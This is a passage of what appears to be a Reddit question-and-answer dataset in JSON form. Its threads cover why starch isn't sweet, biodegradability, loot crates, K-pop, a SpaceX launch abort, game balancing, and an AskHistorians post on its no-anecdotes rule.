your perception of a sweet taste sensation.\n\nThe binding of a compound to a receptor is highly dependent on a particular alignment of the two, in 3-dimension space (among several other factors that I won't bore you with). Polymerization of sugars blocks that 3-dimensional alignment.\n\nReturning to the lock and key analogy, imagine a regular key, versus a key that is welded to other keys on both ends (so including the grooved/toothed end). The former is a monomeric sugar, the latter is a polymer like cellulose which would not be immediately functional for purpose of opening the lock (binding to the receptor).", "u/Suta--Purachina is correct, but I'll add a bit of biochemistry to the answer.\n\nEvolutionarily, it makes sense for monomeric and dimeric sugars to taste \"sweet\" as we can utilize these for energy. You should want to consume these, and sweetness is the positive feedback for you to consume more. Cellulose, however, cannot really be broken down very well by human enzymes. It is necessary in the diet as fiber to help things move along through the digestive system, but it isn't providing energy to you.\n\nSo how does this work from a mechanistic standpoint? Well, basically different receptors exist on your tongue which bind to different types of molecules. The different combinations and degrees of binding to different receptors contribute to the overall taste of a substance. The binding pocket in these receptors to which the sugars attach kind of compliments the structure of the sugar and binds favorably. This gets converted into a signal which eventually reaches your brain as sweetness. Cellulose is WAY too big to fit into these types of pockets and be recognized as sweet. Most other polymers larger than a couple units are similarly not sweet.\n\nThat said, we can manufacture sugar alcohols that fit into these receptors even better than natural sugars (think artificial sweeteners like sucralose aka Splenda). At much lower concentrations these can bind these specific sweet receptors even better and come off as sweeter vs. sugar. However, they sometimes have strange aftertastes. As I mentioned a substance's interaction with all receptors and the degrees with which it interacts make up the taste.\n\nSorry, got a little off track there at the end, but hopefully that answers the question a bit more.", "As an addition to the other answers here, your saliva contains an enzyme called amylase that breaks glucose polymers into monomers. Chew up something bland and starchy like a saltine or a bite of potato and hold it in your mouth for a minute or two. You'll start to taste it sweetening as your saliva breaks this down. The reason the same thing doesn't happen with cellulose is that there are two forms of glucose depending on their chirality or \"handedness.\" Alpha and beta glucose are mirror images of each other with the same chemical formula and energy content, but different interactions with the complex enzymes used in digestion. We can digest alpha glucose (starch monomers), so it tastes sweet to us; we cannot digest beta glucose (cellulose monomers), so your body has evolved to perceive it as bland and unappetizing.", "Our taste buds are a lock. Sugars are the key. \n\nStarch, although a sugar, is like glucose, but bigger. Usually 2 or more glucoses bonded together.\n\nIt doesn\u2019t fit this lock until it\u2019s broken. Thus, amylase (an enzyme in saliva) is needed to break starch firstly. \n\nTLDR: If you let starch sit in your mouth long enough, it will taste sweet.", "If you leave them in your mouth for long enough, your saliva will break the chain small enough to be sweet (you can try this with a cracker).\nSimilar to what other people have said, as a big chain there\u2019s very little surface area so it doesn\u2019t taste like much. Once the chain has been broken, you will taste it more.", "Sweet taste is a result of activation of the receptors present o cell membranes of the taste buds (TAS1R2+TAS1R3 as well as TAS1R3 dimer) and sweet substances. Te reasons why sugar polymers are unable to activate said receptors is somewhat two-fold:\n1. When several molecules of the sugar are attached, te shape of the molecule no longer matches the receptor. While sweet receptors are not very picky and many substances taste sweet, sugar polymers would likely not, but also...\n2. Sugar you mention are not very water soluble. If a substance fails to dissolve, it cannot activate a receptor as it will not dissolve and difuse in saliva to actually have a chance of coming in contact with any receptors on cell membranes...", "Polysaccharides likr satrch and cellulose are typically not classified as\u00a0sugar. They're non-sugar. I'm assuming they don't taste sweet because of their structure and some other factors which  I'm not aware of(would love an explanation from someone)\n\n\nEdit: commented too fast, before reading others' answers \ud83d\ude02", "Actually, if you chew a piece of bread or pasta or something with carbs for long enough, it will taste sweet because the polysaccharides are broken down into monosaccharides by an enzyme called amylase in your saliva.", "Lock and key. Your taste buds are like a lock. Certain shapes of molecules, like sugar, sour stuff, savory stuff, etc. fit the lock and that registers. Polymerized sugars taste less sweet, and even bitter sometimes, because of the simple fact that they no longer fit.", "Short answer: starch will taste somewhat sweet as saliva has amylase which can turn some of the starch into sugars. Cellulose will never taste sweet because the sugars are in a beta-1,4 linkage (instead of alpha-1,4) which human enzyme cannot digest. Herbivores have a different version of this enzyme which CAN break down this linkage - hence the existence of huge muscular animals (cows, horses elephants etc) which subsist on nothing but plant matter.", "From the perspective of evolution by natural selection it\u2019s perhaps less relevant that simple sugars and starch are made from the same building blocks. Over evolutionary time scales, which was primarily in the context of scarcity, it\u2019s more likely that blood glucose was an important selective pressure. Just as our more instinctual and emotional reactions were more important in our dangerous past, so too was the fuel needed to respond to *fight or flight* situations. These circumstances are consistent with why simple sugars would be valued much greater than polymerized sugars. Hence why our perception of how the two taste are so drastically different.", "The same reason that Oxygen (O2) is necessary for human-life but Ozone (O3) is poisonous to human-life.\n\nChanging the number of molecules changes the way it interacts with the world.\n\nIncreasing the number of spoons of sugar in your coffee, intensifies it's effect, it makes it sweeter. \n\nIncreasing the number of molecules in a compound doesn't necessarily intensify or reduce it's effect. The result can be unexpected.", "As others have said taste, like smell, works because a molecule fits a particular receptor. It all depends on geometry, that is the shape of the molecule. Obviously the polymers have very different shapes from their monomers. However saliva contains small amounts of an enzyme called amylase which can break down starch into glucose so if you chew on something starchy for long enough you should be able to detect a sweet taste.", "Actually, your saliva will break down starches to maltose.\nThe enzyme is salivary\u00a0amylase.\n\nGet a simple saltine cracker, chew and leave it in your mouth and you will find it gets sweeter as your saliva works on it.", "Lots of good discussion here about various sugars inspires me to as a related question.  Anyone who has compared them knows that maple syrup is sweeter that the corn syrup sold as pancake syrup (it takes less volume of maple syrup to be as sweet as some corn syrup).\n\n & #x200B;\n\nWhy?  What's the composition of maple syrup ?", "There is some really great discussions here but they get a bit carried away. If we get back down to the basics of how organic chemistry works I have to give a shout out to this response quoted below.The polymers are a sum of the monomers that create them and so we have to take a closer look at the types of building blocks that make up starch and cellulose and HOW exactly the are comprised. There are simple chemical differences between illicit substances and legal prescription drugs, for example and it is literally a handful of bonds between carbon chains. \n\n & #x200B;\n\nTake for example the chemical compound responsible for the taste of caraway seeds. One type of arrangement causes our body to taste peppermint and the other slightly different spicy flavor of minty caraway. Same lookin' molecule, essentially. \n\n(sources  [_URL_1_](_URL_1_) \n\n [_URL_0_](_URL_0_)  )\n\nThe take home message is that small differences on an atomic level yield big results such as sweetness in taste given different forms (starches, sugar, cellulose etc). The nature of the carbon--carbon bonds matter a great deal.\n\n & #x200B;\n\n >  We have salivary amylase in our saliva which will start to break down chained sugars that have the correct orientation of connection between individual sugar molecules specifically alpha 1,4 and 1,6 glycosidic connections. Thus if you leave a cracker (made of starch) in your mouth for long enough it would actually start to taste sweet because of the glucose released as the starch gets cut up by enzymes. Cellulose has b 1,4 glycosidic linkages which we don't have an enzyme to break which means it goes pretty much unchanged through our GI tract. If we could break down cellulose a salad would be hundreds of calories, instead it forms the fiber in our diet.  Riguy192", "Seeing as we do have amylase (the enzyme that breaks down starch) in our saliva, if you leave a cracker in your mouth, it will get sweeter. But the enzymes are gonna be going too slow for it to make a real difference.", "Starches specifically can be digested by the body but must first be broken down many time to get to the core sugar molecules. First amylase in the saliva does some digestion of starches but next digestive enzymes released by the pancreas fully break the starches completely into absorbable sugars that are absorbed through the small intestine. This is way past your tongue so you won\u2019t taste the sugar.", "It's all about the shape and structure of the molecules. Some aromatic proteins can be 10 times sweeter then regular table sugar. It's also the same process that makes cooked meat taste and smell better. Cause certain aromatic groups form on the proteins. I believe this is called a Maillard reaction if I'm not mistaken.", "Sugars are monomers and bind easily with the enzymes in your mouth because monomers are so simple and have such high surface area. Polymers take longer but will eventually taste sweet. Try putting bread in your mouth for a few minutes it'll start to taste sweet, the texture gets pretty disgusting though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://americanhistory.si.edu/molecule/04exp.htm", "https://en.wikipedia.org/wiki/Carvone"], [], [], [], []]}
{"q_id": "9qyyud", "title": "what makes something \"biodegradable\"? what are the conditions necessary for something to biodegrade?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9qyyud/eli5_what_makes_something_biodegradable_what_are/", "answers": {"a_id": ["e8csnax", "e8czegx", "e8d0h37", "e8d6diy", "e8d8h9w", "e8d8v8p", "e8deml1", "e8es40z"], "score": [475, 8, 4, 11, 2, 3, 8, 2], "text": ["it needs to be edible to little tiny creatures.\n\nFoods biodegrade because yeast and fungus and other little beasts find it and eat it.  they break it down and poop it out and if everything goes right give you really nice dirt with which to grow new foods that will also biodegrade.  This is what a compost pile hopes to achieve.\n\nIf we make a something out of a material that little creatures don't eat... it'll just stay in it's current form for a long long time.  A lot of plastics aren't biodegradable because no little yeast-bros ever evolved to eat it (you know, because it wasn't around to eat until recently)\n\nit's really as simple as that.  if the material is able to be eaten by something it can return to the earth.  If the material can't be eaten by something it's stuck the way it is.", "Everything is made up of different atoms, which are very very small pieces of things. And these group together to form different chemicals. They're held together by special bonds between the different atoms and groups of atoms. The type of bond depends on the type of atoms. Some of these bonds are easy to break, and some are hard. Some can be broken down by the chemistry that's available in a worm's belly, at room temperature and some cannot. If a substance has a lot of difficult-to-break-down chemical bonds, then it will be more durable over time, resisting the digestive processes of bacteria, fungi, insects, and other natural creepy-crawlies that typically rot things left on the ground. ", "There is often a little confusion over what biodegradable actually means in terms of plastics. Biodegradable means that a plastic will degrade into smaller pieces of plastic, down to microscopic level, never actually going away (at least for an extreamly long time. This degredation is often caused by UV light. Compostable plastic is plastic that can degrade completely into compost through action of microbes and fungi, this is however often needed to be done at an industrial compost plant that keeps a high temperature of about 50-60\u00b0C generated by the organisms themselves.\n\nSo, if you have plastic that says biodegradable, don't just throw it in a bush and assume it will disappear, it won't and will end up in our food stream. ", "Anything the environment can break down into useful components. If this helps, for millions of years TREES were not biodegradable. Nothing in the evironment could process wood.", "Conditions for biodegredation:  the same for bacteria. Warm, wet, exposure to air=decompose faster", "There are two factors that come into play with microbial degradation, \"recalcitrance\" and \"bioavailability\". Recalcitrance describes the difficulty of breaking down the materials while bioavailability is how easy it is for the microbes to access it. An example of a highly recalcitrant class of pollutants is PCBs. They aren't very hard to get into the cells but once inside, the bacteria can't do much and so they die. Evolution is a pretty powerful tool to improve this because we've seen new strains arise that are able to degrade PCBs, albeit very slowly. Oil is a good example of a pollutant that isn't very recalcitrant but with low bioavailability. Cells cannot access most of the pollutant because it exists in droplets and so it persists in the environment. That is why spraying surfactants on oil spills works really well to clean them up. ", "So, here's a cool thought; at one point in our earth's history, the land was entirely covered in plants and NONE of it was biodegradable! \n\nPlants would grow, die, fall over and just... lie there. Nothing would break down, and new plants would grow atop the old plants. The old plants eventually got buried deep, compressed and heated. Eventually they turned into oil, some of it got dug up, processed and turned into parts of the device you're using to read this!\n\nThen fungi and bacteria developed the ability to break down dead plants, and now there's no new oil being produced. Instead it's broken down, released into the air, turned into soil, or used to make some delicious mushrooms!\n\nAs other people have said, that's what makes something biodegradable; the ability for tiny creatures to eat it and break it down. \n\nThat's why there's an effort to find bacteria which can eat plastic; if plastic becomes biodegradeable, hopefully we can avoid or mitigate the terrible impact stray plastic has on the environment. ", "Can the little beasties in nature (fungus, bacteria, yeast) eat it? Then it's biodegradable. If not, you rely on chemical reactions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "2udv8s", "title": "how does valve not get in trouble for \"soft gambling\" (paying money to open a crate which is a random item) - is it really just a technicality?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2udv8s/eli5_how_does_valve_not_get_in_trouble_for_soft/", "answers": {"a_id": ["co7ias0", "co7n7gn"], "score": [55, 3], "text": ["Virtual items have no value legally. You pay money and get nothing of value back every time. ", "Isn't this more a blind purchase? You are paying for a product and receiving it. What it actually contains may vary, sure, but you've still received something for your money. Purchasing one of those mystery figures in a box or Gatcha-style figures in a quarter machine or a pack of collectible cards all amount to the same thing. Whether or not you like your blind purchase is of no concern as you still received exactly what you paid for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8nmmv9", "title": "how did k-pop become so popular?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8nmmv9/eli5_how_did_kpop_become_so_popular/", "answers": {"a_id": ["dzwonyb"], "score": [3], "text": ["There are actually a number of good documentaries on this exact subject.  It's easy to say it's catchy, crowd pleasing, the idols meticulously guard their images, etc but the simplest, (maybe too simple) answer is:\n\n1)  It's highly corporate and there exists a large, well supported infrastructure for identifying, developing, marketing, selling, and supporting various K-pop groups.  Much like European soccer has infrastructure and developmental leagues decades ahead of their American counterparts, the Korean idol industry is very well developed.\n\n2) The government actively supports the industry.  It's not just music, locally produced movies and television are also very popular outside of Korea and the government considers this cultural influence a very important part of their soft power in Asian and abroad.  Korea has a population somewhere between Myanmar and Kenya, but in Esports, television, movies, music,etc it punches well above its weight.  This isn't an accident.\n\nSomewhat relevant to this: I always find discussions of cultural appropriation, getting upset about kimonos, sushi, qipaos etc mildly ridiculous.  Somewhere in Seoul entire departments filled with middle aged bureaucrats are trying their damndest to get Americans (and Chinese, and Japanese, and anyone else) to eat more Kimchi, watch Korean cartoons, read Korean comics, watch Kpop videos buy Kpop music, dress in Korean clothes, anything to make non Koreans appreciate Korean culture.  Simultaneously their relatives (at least a few of them) in America are getting upset because white people are making Kalbi inauthentically.  It's... Ugh.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ri7gu", "title": "what just went wrong with the spacex dragon launch?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ri7gu/eli5what_just_went_wrong_with_the_spacex_dragon/", "answers": {"a_id": ["cng2q3s", "cng51ni", "cng6pqc", "cnga16t"], "score": [118, 35, 21, 8], "text": ["Per the commentator on CNN, something went wrong with the system that controls the direction of the rocket's thrust. They don't know in detail what caused it yet, but the machinery controlling it was drifting out of position. Since the launch has to be timed precisely for an orbital rendezvous, they'll have to wait until Friday now.", "There was some unexpected drift on an Z-actuator in the 2nd (upper) stage of the craft. If not canceled manually it would have probably triggered an automated abort anyways.\n\nedit (to summerize more ELI5-ish): A part of the steering mechanism of second stage of the rocket was moving, even when it wasn't commanded to move. Launch was aborted to investigate what is wrong with it.", "Link for those who wanted to see the video\n_URL_0_", "They cycle most every engine gimbal mechanism right before launch to see if it's behaving properly.  Similar to when a runner stretches out their legs before racing.  \n\nOne axis of the second stage motor didn't respond properly to the warm up procedure.  HOLD HOLD HOLD\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=w_P85Hd3iX4"], []]}
{"q_id": "2qyr1y", "title": "how do game developers write games that are very challenging and require practice to complete, but actually possible to complete, without having enough playing experience with the game themselves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qyr1y/eli5_how_do_game_developers_write_games_that_are/", "answers": {"a_id": ["cnasbxn", "cnashw1", "cnatkij", "cnaw73m", "cnb0anx"], "score": [26, 14, 4, 8, 3], "text": ["Well, games are designed for months before and tested for months during and after development. Difficulty is calibrated as they go.", "the QA test team does play the game over and over and over and over for months or years.", "Play balance is verified using a variety of testing approaches including automation, manual and user testing. Many companies now also use telemetry information from real users and testers to adjust play balance. Since games will be changing up until a month or so before release (on a good project) play balance is tweaked right up until ship, and is often one of the last things finalized. Often play balance continues to be adjusted post-release based on how the game plays in the wild and from user feedback.", "Hi there,\n\nI've made a few games for Android devices (Not the Greatest) and often times smaller developers don't have the resources to really test every aspect of their game.\n\nI can tell you I only playthrough once or twice and fix any bugs I find but the majority of stuff will always come from users.\n\nWith thousands of different devices and people playing the game, they will have a different concept and view of the game. They will attempt to solve puzzles in different fashions that the original developer may not have thought of.\n\nBeing the developer and knowing exactly the routes that need to be taken, characters talked to, where enemies are, it's easy for them to complete tasks that some see as hard.\n\nPerhaps they may get stuck in an area that I as a game developer never went because it was a pointless area that was just scenery(stuck between a tree and a rock for example) in this case its impractical for the independent game developers to test every single aspect of every single area.\n\nSo games will usually have bugs when released, things that are hard to test are things like AI difficulty in the sense of \"hard\" or \"easy\" and these likely change as players find strategies or niches for characters that make them overpowered. This is what leads to things like nerfing.\n\nSo everything from complexity to basic bug fixes usually need some sort of end-user test. Players ALWAYS find a way to \"cheat the system\" and it often takes that dedication to playing the game the developers don't have.", "Finally a post I can contribute to!   \n\nSpeaking as a game developer here, there are a number of ways to achieve what you are speaking about.  \n\nPersonally when I am developing, the interface that I see will never be seen by the user, it might allow me to change levels, reset where I am, take off the time limit etc all as I play. This way you can check the mechanics work correctly and the game behaves as you desire.\n\nNow when you speak about making sure the game is actually possible, that's an interesting one because I suppose it depends on the genre, I worked on a puzzle type game where you were against the clock, and there were levels I genuinely couldn't do and opted to leave them out. You would be surprised how good you get at your own game through developing it, because you are constantly trying to think of ways a player will exploit you system, and as a result often you get a reverse effect where the game can be too challenging for users even tho you can play it with ease.  \n\nBut then as has been mentioned a few times here already, a lot of patching and balancing happens after the fact, once the game has been put into the players hands. There are games like League I believe (I don't play) where for example players have developed strategies that the game designers never thought of or considered and as a result these need to be addressed and patched regularly. This is a common occurrence once you collect a large enough user base."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ei7ox9", "title": "Is there a temperature below which a match will no longer strike?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ei7ox9/is_there_a_temperature_below_which_a_match_will/", "answers": {"a_id": ["fcr251k"], "score": [22], "text": ["Anything below its flashpoint. The flashpoint is the temperature at which something will start to burn. When you strike a match, the friction raises the temperature of the match until it reaches the flashpoint, at which point the match, of course, burns. So it's really just a matter of how much heat it gains from friction, plus the ambient temperature.\n\nHypothetically, you could lower the temperature of the match as much as you want and as long as you are able to build enough heat via the friction of the strike, it'll light. However, this is probably going to become very impractical at very low temperatures. I imagine a match at just a few kelvin would sooner shatter than strike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o6fax", "title": "one in the hand is worth two in the bush", "selftext": "What the actual fuck does that mean? Is that even the right saying?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o6fax/eli5_one_in_the_hand_is_worth_two_in_the_bush/", "answers": {"a_id": ["c3eqnnu", "c3er101", "c3es15m", "c3etogj"], "score": [56, 10, 13, 2], "text": ["One bird in the hand (one you have already caught) is better than two in the bush (that you haven't caught yet).  It is better to have one of something than the remote potential for getting two of them.", "It's stating that it's better to have one (bird) dead in your hand than two (birds) live in the bush.  It's a caution to take what you've got and run instead of gambling on unknowns. ", "It's better to be content with what you have than to try to gain more and risk losing it all.", "Real world example:\n\n\"I have ten sales calls this week.\"\n\n\"I made a sale this week.\"\n\nWhich one is more valuable *right now*?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "40mle4", "title": "Rules Roundtable #3: Explaining the No Personal Anecdotes Rule", "selftext": "Hello everyone and welcome to the third installment of our [continuing series of Rules Roundtables](_URL_2_)! This project is an effort to demystify what the rules of the subreddit are, to explain the reasoning behind why each rule came into being, provide examples and explanation why a rule will be applicable in one case and not in another. Finally, this project is here to get your feedback, so that we can hear from the community what rules are working, what ones aren't, and what ones are unclear.\n\nToday's topic is addressing the rules concerning \"No Personal Anecdotes\", which while briefly touched on in the post regarding sources as a whole, also deserves its own post for discussion. So first, the rule. As stated, it is quite brief and too the point:\n\n > Personal anecdotes are not acceptable answers in this subreddit. They are unreliable, unverifiable and of very little real interest. \n\nBut what does that mean? Well, there is a lot more too it than just that, but we all agree that it has been better said than any of us can muster, so credit for the following is fully due to /u/American_Graffiti, a former flaired user who has since left reddit, but not [before giving us this gem of a response](_URL_1_), among others. We're replicating it in full here though to, as noted, provide a refresher, as well as a platform for all of you to ask questions and seek clarification.\n\n------\n\n- First, **people's memories are unreliable;** it has been repeatedly, conclusively demonstrated that human memory is *not* a process of recall, but rather a process of reconstruction and association - people will very often \"remember\" the past in a particular way because they think that's how they *should* remember the past, or because they have already been exposed to specific narratives of the past which they feel their experiences should conform to.   This isn't conscious in most cases - people can wholesale fabricate \"memories\" of past events, and be totally convinced that those memories are *real,* without even realizing it.  Psychologists have done experiments where they can get people to recount elaborate \"memories\" of past events that never happened, simply by having a trusted family member *suggest* to them \"hey, remember that time when X happened?\"  So that's the first, biggest reason; we really *can't* trust people's memories of the past - especially about events like the Challenger explosion, which have a lot of emotion attached to them, and which have an established narrative that we're all already aware of and assume to be true.  There's a perfect example of this in the thread on the challenger disaster - in defending the posting of anecdotes, /u/jeremiahfelt [writes](_URL_0_) that \"there is an ineffable quality to the spirit- the substance of the moment, and the time this tragedy took place in\" - this kind of comment sets of *huge* alarm bells in the mind of trained historians, because it's evidence of a widespread assumption that there was only one \"real\" or \"true\" response to the challenger disaster.  The statement is evidence that a particular narrative/account of the challenger disaster has already become privileged, and is widely regarded to be \"correct\" - this makes it all too likely that (whether consciously or unconsciously) people sharing anecdotes in that thread will be sharing memories that *have been altered to conform to that narrative and those expectations.*\n\n- Second, **anecdotes posted on reddit are too far removed from the events they supposedly describe.**  This is related to the the first point, but a bit different.  Historians tend to prize a very specific kind of source when we're researching the past; sources *that were created at the time* of the events we're interested in.  The longer the period between when the event happened and the source we're using was created, the more likely it is that the fallibility of human memory and various other factors (ie, political, social, cultural forces that tend to privilege one account/version of past events over another) will have distorted the account that the source gives.  Memories of the challenger disaster are years old, but the journal you describe in your example is totally different - it is an awesome source because it was written *at the time* - probably the day of the events it describes.  The writer's memory of those events is fresh and more reliable, and it is less likely to have been warped by other considerations.  \n\n- Third, **we *must* be able to contextualize primary sources.**  The journal in your example is useful because we know who wrote it, when, and under what conditions.  We can anticipate and account for the ways in which that person might have been dishonest or biased in their relation of events.  This is what historians spend a great deal of their time doing; weighing one source against another, comparing them, thinking about what different people's relation to (and stake in) the events they're describing was.  All of that effects how we interpret the source and what kind of weight we give to the account it presents.  A comment by an anonymous redditor, in contrast, is pretty much *impossible* to contextualize; we have no idea who this person is, how old they are, where they grew up, what socio-economic class they are, etc, etc...  All of those things are *absolutely critical* for us to know if their account of events is going to be of any use to us at all.\n\n- Fourth, **we can't trust redditors.**  This site is an anonymous internet forum.  People are *notorious* for trolling, telling lies, and pretending to be someone they're not on reddit and other similar forums. Reddit (in general) is infested with people who are attempting to manipulate the opinions of others and advance a particular point of view/world view.  And what's worse, on reddit people have a *powerful incentive to tell people what they want to hear* in the form of karma and upvotes.   \n\n- Fifth, **no one single source is really of all that much use.** One thing that historians-in-training learn very quickly is that there are 2, 3, or 30 sides of every story; even if we have 10 different eyewitness accounts of a past event, that were written *on the day it happened* - you can bet your ass that those accounts will conflict or be contradictory in some way.  One of the core skills that historians need to develop is an awareness that really any telling of a past event is just *one* of many possible views of that event.  Our job is to collect many of those views, put each of them in context, compare them, and weigh them against each other in order to try to understand what *actually* happened in the past - and what those events *meant* to people at the time - as best we can.  The people who post anecdotes here seem to be of the opinion that because *they* experience the past in a particular way, that must mean that \"that's how it happened\" - that their account is \"true\" and therefore *proves* that past events occurred in a particular way. As historians, we know that this is hogwash; I can guarantee that no matter *what* past even we're talking about, people saw, experienced, and thought about that event in a wide variety of dramatically different ways.  One person's account (and again, especially one that we can neither trust nor contextualize) is just one perspective.  It \"proves\" nothing.  To understand the event we're interested in, we need to assemble *many* different sources representing *many* different points of view - and preferably sources (as I've already said) that we can trust.\n\n- Sixth, (a more practical consideration) - **everyone who was alive at a given time probably has a memory of that event.**  Which is fine, but if we let everyone who had a memory of the challenger disaster post their own story about it here, whole threads would become clogged with reminiscences that we can't really use or trust, rather than actual analysis.  This is /r/askhistorians not /r/ask-grampa-what-he-did-during-the-war.  The sub's readers are interested in hearing about the past from people who've spent much of their lives training and practicing to properly interpret the past, and the academic experience/skills/authority of those historians are what gives this sub its cachet.  In other words, people come here to do the equivalent of reading a history book that someone's written after researching the subject in depth.  They don't come here to wade into fileboxes full of documents or decipher centuries-old manuscripts to try to figure out history for themselves.  Allowing anecdotes to pile up in every thread where someone is still around to remember the event is really no different from telling someone who asks \"how did the Vietnam war start\" to go to the national archives and figure it out for themselves, rather than telling them to read one of the many well-researched and well-sourced books that historians have written on that question.\n\nA quick addendum, since I know this might come across as harsh or disconcerting to some people: don't mistake my pessimism about the reliability of people's anecdotes *on reddit* for pessimism about the reliability of *any* memories.  We *can* make effective use of people's memories of the past - we just have to do it in the right way.  Historians use written memoirs and oral histories all the time - but we use them in a specific, very careful way.  Memoirs are used *very* critically, and cross-checked with other sources like newspapers, government records, and even other memoirs to try to get an understanding of how reliable they are and when (or if) we can trust that account of the past.  Oral historians have developed a whole set of very sophisticated rules and procedures that they use to collect people's memories of the past while minimizing the chance that the account they get will be too distorted.  It takes years of training just to learn not to ask leading questions or the wrong questions in oral history interviews.  And even then, we are very critical in the way that we analyze oral histories, always putting the source in context and cross-checking the account it gives with other sources.  In other words, people shouldn't feel like their memories are invalid because of what I wrote above - it's just that reddit is emphatically *not* the place for those memories to be properly collected, preserved, and analyzed.\n\n-----\n\nIf you have any further questions, please ask them here, and the mod team (or other users!) will be happy to help you out.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40mle4/rules_roundtable_3_explaining_the_no_personal/", "answers": {"a_id": ["cyvcqvz", "cyvn6lv", "cyvu5aw", "cyvzng7", "cyw1545", "cyw6ojt", "cyyf7bv"], "score": [102, 7, 3, 10, 8, 4, 2], "text": ["This subreddit really does have the best mods......no bullshit.", "I have left reddit for a reddit alternative _URL_6_ due to years of admin mismanagement and preferential treatment for certain subreddits and users holding certain political and ideological views.  \n\n  The abuse of downvotes to silence opposing viewpoints with the automatic 9 minute delay on comments prevents fair flow of ideas and thoughts when only the approved may speak. \n\n   As an act of protest, I have chosen to redact all the comments I've ever made on reddit, overwriting them with this message.  \n\n   If you would like to do the same, install [TamperMonkey](_URL_2_) for Chrome, [GreaseMonkey](_URL_3_) for Firefox, [NinjaKit](_URL_1_) for Safari, [Violent Monkey](_URL_0_) for Opera, or [AdGuard](_URL_5_) for Internet Explorer (in Advanced Mode), then add [this GreaseMonkey script](_URL_4_).   \n\n Finally, click on your username at the top right corner of reddit, click on the comments tab, and click on the new OVERWRITE button at the top of the page. You may need to scroll down to multiple comment pages if you have commented a lot.  \n\n   After doing all of the above, you are welcome to join me on a reddit alternative _URL_6_!", "I am strongly reminded of this quote from The Recognitions by Gaddis:\n\n > How\u2026how fragile situations are. But not tenuous. Delicate, but not flimsy, not indulgent. Delicate, that while they keep breaking, they must break and you must get the pieces together and show it before it breaks again, or put them aside for a moment when something else breaks and turn to that, and all this keeps going on. That's why most writing now, if you read it they go on one two three four and tell you what happened like newspaper accounts, no adjectives, no long sentences, no tricks they pretend, and they finally believe that they really believe that the way they saw it is the way it is, when really...why what happened when they opened Mary Stuart's coffin? they found she'd taken two strokes of the blade, one slashed the nape of her neck and the second one took the head. But did any of the eye-witness accounts mention two strokes? No... it never takes your breath away, telling you things you already know, laying everything out flat, as though the terms and the time, and the nature and the movement of everything were secrets of the same magnitude. They write for people who read with the surface of their minds, people with reading habits that make the smallest demands on them, people brought up reading for facts, who know what's going to come next and want to know what's coming next, and get angry at surprises. Clarity's essential, and detail, no fake mysticism, the facts are bad enough. But we're embarrassed for people who tell too much, and tell it without surprise. How does he know what happened? unless it's one unshaven man along in a boat changing I to he, and how often do you get a man alone in a boat, in all this... all this... Listen, there are so many delicate fixtures moving toward you, you'll see. Like a man going into a dark room, holding his hands down guarding his parts for fear of a table corner, and...Why, all this around us is for people who can keep their balance only in the light, where they move as though nothing were fragile, nothing tempered by possibility, and all of a sudden bang! something breaks. Then you have to stop and put the pieces together again. But you never can put them back together quite the same way. You stop when you can and expose things, and leave them within reach until you can bring them back and show them, put together slightly different, maybe a little more enduring, until you've broken it and picked up the pieces enough times, and you have the whole thing in all its dimensions. But the discipline, the detail, it's just... sometimes the accumulation is too much to bear.", "As a fan of this sub who has never ever said anything,  I am really,  *really* grateful for the work this modteam puts in this sub! I really enjoy the content here, as I'm sure I'm  not  the only one. you guys set a high standard for this sub and yourself, and it pays off. \n\nso,  \nArtrw, \neternalkerri, \nBernardito, \nDaeres, \nestherke, \nlngwstksgk, \nAerandir, \n400-Rabbits, \nrusoved, \nReedstilt, \ncaffarelli, \ntexpeare, \nbitparity, \nCelebreth, \ngingerkid1234, \nGeorgy_K_Zhukov, \nCommustar, \nAnOldHope, \nSearocksandtrees, \nhenry_fords_ghost, \nvertexoflife, \nJasfss, \ndepanneur, \nfarquier, \nanthropology_nerd, \ncephalopodie, \njschooltiger, \nThe_Alaskan, \nPolybios, \nkeyilan, \nElm11, \nsowser\t and\nshlin28,\n\n*Thank you guys so much* for being awesome! ", " > First, people's memories are unreliable; it has been repeatedly, conclusively demonstrated that human memory is not a process of recall, but rather a process of reconstruction and association - people will very often \"remember\" the past in a particular way because they think that's how they should remember the past, or because they have already been exposed to specific narratives of the past which they feel their experiences should conform to.\n\nTaken by itself, this is a great reason to be suspicious of personal anecdotes. I (and many other mathematicians) have spent quite a bit of time reflecting on how easy it is to fool ourselves into remembering things the way we want them to have happened, particularly in the context of precedence disputes in mathematics and physics. There, the difficulty is compounded by the fact that it is quite hard to understand our own mental processes. Sometimes what appears like an innocuous remark over coffee at first turns out to be the key to solving a problem. Often, neither the person making the remark nor the one who eventually unlocks the problem realize it's importance until much later.\n\nHowever, reading the paragraph again makes me wonder what constitutes an \"anecdote\". In other words, don't all those caveats against the shifting nature of our memories call into question a lot of what we consider history? The Challenger example is atypical, in that it was a major event that was experienced simultaneously (thanks to modern media and communication), and widely commented on, by all manner of observers. In such a case, we really can collect \"2,3 or 30 sides\", and look written records from thousands of publications. However, as my narrow amateur interest in history has revealed, even widely accepted interpretations of historical events rely on a single, sometimes incomplete source. Sometimes, this is because 